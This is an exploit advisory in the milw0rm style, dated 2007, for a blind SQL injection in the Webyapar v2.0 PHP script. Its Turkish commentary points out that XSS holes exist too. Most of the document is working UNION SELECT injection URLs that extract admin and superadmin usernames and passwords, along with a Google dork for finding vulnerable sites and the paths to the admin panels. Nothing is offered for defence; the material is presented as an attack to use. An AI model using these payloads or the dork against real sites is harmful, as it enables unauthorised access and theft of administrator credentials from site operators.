81 lines
No EOL
4.4 KiB
Text
81 lines
No EOL
4.4 KiB
Text
#########################################################################################################################
|
|
#########################################################################################################################
|
|
############/$$$$$$$$$$$////$$$$$$$$$$$//###################///////////###############//$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$/
|
|
###///////##/$$$$$$$$//////////$$$$$$$$//####################/////////#####//////$$$$$//$$$$/////////////$$$$////////////
|
|
##///////###/$$$$$$$////////////$$$$$$$//#####///////////#####///////#####///////$$$$$//$$$$/////////////$$$$////////////
|
|
##//////###///$$$$$$$//////////$$$$$$$///#####///////////#####//////#####////////$$$$$//$$$$/////////////$$$$////////////
|
|
##/////###/////$$$$$$$////////$$$$$$$////#####//////////######/////#####/////////$$$$$//$$$$/////////////$$$$////////////
|
|
##////###///////$$$$$$$//////$$$$$$$/////######////////#######////#####//////////$$$$$//$$$$/////////////$$$$////////////
|
|
##///###/////////$$$$$$$////$$$$$$$//////#######//////#######////#####///////////$$$$$//$$$$/////////////$$$$////////////
|
|
###################$$$$$$##$$$$$$################################################$$$$$##$$$$$$$$$$$$$$$##$$$$$$$$$$$$$$$$
|
|
####################$$$$$$$$$$$$#################################################$$$$$##$$$$$$$$$$$$$$$##$$$$$$$$$$$$$$$$
|
|
##///###////////////$$$$$$$$$$$$/////////#########////////////#####//////////////$$$$$//$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$$
|
|
##////###////////////$$$$$$$$$$//////////########////////////#####///////////////$$$$$/////////////$$$$//////////////$$$$
|
|
##/////###////////////$$$$$$$$///////////#######////////////#####////////////////$$$$$/////////////$$$$//////////////$$$$
|
|
##//////###////////////$$$$$$////////////#######///////////#####/////////////////$$$$$/////////////$$$$//////////////$$$$
|
|
###//////##/////////////$$$$/////////////#######//////////#####//////////////////$$$$$/////////////$$$$//////////////$$$$
|
|
############/////////////$$//////////////#######/////////#####///////////////////$$$$$//$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$$
|
|
#########################################################################################################################
|
|
#########################################################################################################################
|
|
##### TURKISH SECURÄ°TY MAN AND C0D3R ####################### MAÄ°L : dumanhack@gmail.com ###########################
|
|
##### - ##### web : ##########
|
|
##### PERFECT C0D3R AND SECURÄ°TY ## >>>>>>>>>>>>>> MESSAGE : HAYAT Ä°LLEGAL <<<<<<<<<<<<<<< ##
|
|
#########################################################################################################################
|
|
|
|
# Title : webyapar v2.0 Remote Blind SQL Injection Vulnerability
|
|
|
|
# AUTHOR: : bypass
|
|
|
|
# script name : Webyapar v2.0 { 700$ }
|
|
|
|
# Language : Tr
|
|
|
|
# scritp web page : www.webyapar.com
|
|
|
|
# script bug : remote sql enjeksiyon
|
|
|
|
# script admin panel1 : http://victim/script_path/yonetim
|
|
|
|
# script admin panel2 : http://victim/script_path/yonetim2
|
|
|
|
# google dork : inurl:"?page=duyurular_detay&id="
|
|
|
|
#Message Tr : ingilizcem pek iyi degildir. kodun piyasada satıs degeri 700$ - kodun sql dısında xss acıklarıda bulunmaktadır
|
|
ama pek fazla xss acıkları işinize yaramayacaktır. yonetim panelleri standart verilmistir...
|
|
|
|
# Message Tr : Hayat Ä°llegal - / -
|
|
|
|
|
|
< / -------------------------------------------------------------------------------------------------------- />
|
|
|
|
|
|
< / ------ Example sql bug 1 admin username : ------ / >
|
|
|
|
|
|
http://VÄ°CTÄ°M/SCRÄ°PT_PATH/?page=download&kat_id=-116+union+all+select+0,kullanici+from+admin
|
|
|
|
|
|
|
|
|
|
< / ------ Example sql bug 1 admin password : ------ / >
|
|
|
|
|
|
http://VÄ°CTÄ°M/SCRÄ°PT_PATH/?page=download&kat_id=-116+union+all+select+0,sifre+from+admin
|
|
|
|
|
|
|
|
|
|
< / ------ Example sql bug 2 superadmin password and admin username : ------ / >
|
|
|
|
|
|
|
|
http://VÄ°CTÄ°M/SCRÄ°PT_PATH/?page=duyurular_detay&id=-50+union+all+select+0,kullanici,2,3,sifre,5+from+superadmin
|
|
|
|
< / -------------------------------------------------------------------------------------------------------- />
|
|
|
|
|
|
Sql enjeksiyon bug 1 : /?page=download&kat_id=-116+union+all+select+0,sifre+from+admin
|
|
|
|
Sql enjeksiyon bug 2 : /?page=duyurular_detay&id=-50+union+all+select+0,kullanici,2,3,sifre,5+from+admin
|
|
|
|
# milw0rm.com [2007-07-25] |